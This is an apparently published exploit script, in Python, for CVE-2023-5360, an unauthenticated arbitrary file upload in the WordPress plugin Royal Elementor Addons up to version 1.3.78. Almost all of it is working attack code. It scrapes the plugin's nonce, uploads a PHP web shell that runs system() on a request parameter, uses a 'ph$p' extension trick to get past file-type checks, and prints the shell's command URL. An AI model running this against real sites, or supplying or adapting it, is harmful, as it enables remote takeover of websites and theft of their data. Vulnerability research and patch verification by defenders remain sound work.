# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE) # Date: 2025-04-04 # Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r) # Vendor Homepage: https://royal-elementor-addons.com # Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip # Version: <= 1.3.78 # Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1 # CVE: CVE-2023-5360 # Description: # The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, # which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE). import requests import json import re import argparse import tempfile from urllib.parse import urljoin from rich.console import Console requests.packages.urllib3.disable_warnings() console = Console() def get_nonce(target): try: r = requests.get(target, verify=False, timeout=10) m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text) if m: nonce = json.loads(m.group(1)).get("nonce") return nonce except: pass return None def upload_shell(target, nonce, file_path): ajax_url = urljoin(target, "/wp-admin/admin-ajax.php") with open(file_path, "rb") as f: files = {"uploaded_file": ("poc.ph$p", f.read())} data = { "action": "wpr_addons_upload_file", "max_file_size": 0, "allowed_file_types": "ph$p", "triggering_event": "click", "wpr_addons_nonce": nonce } try: r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10) if r.status_code == 200 and "url" in r.text: resp = json.loads(r.text) return resp["data"]["url"] except: pass return None def generate_default_shell(): with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp: shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>' tmp.write(shell_code.encode()) return tmp.name def main(): parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)") parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)") parser.add_argument("-f", "--file", help="Custom PHP shell file to upload") args = parser.parse_args() console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]") nonce = get_nonce(args.url) if not nonce: console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]") return console.print(f"[green][+] Nonce found: {nonce}[/green]") if args.file: shell_file = args.file console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]") else: console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]") shell_file = generate_default_shell() console.print(f"[green][+] Default shell created at: {shell_file}[/green]") console.print("[cyan][*] Uploading shell...[/cyan]") uploaded_url = upload_shell(args.url, nonce, shell_file) if uploaded_url: console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]") if not args.file: console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]") else: console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]") if __name__ == "__main__": main()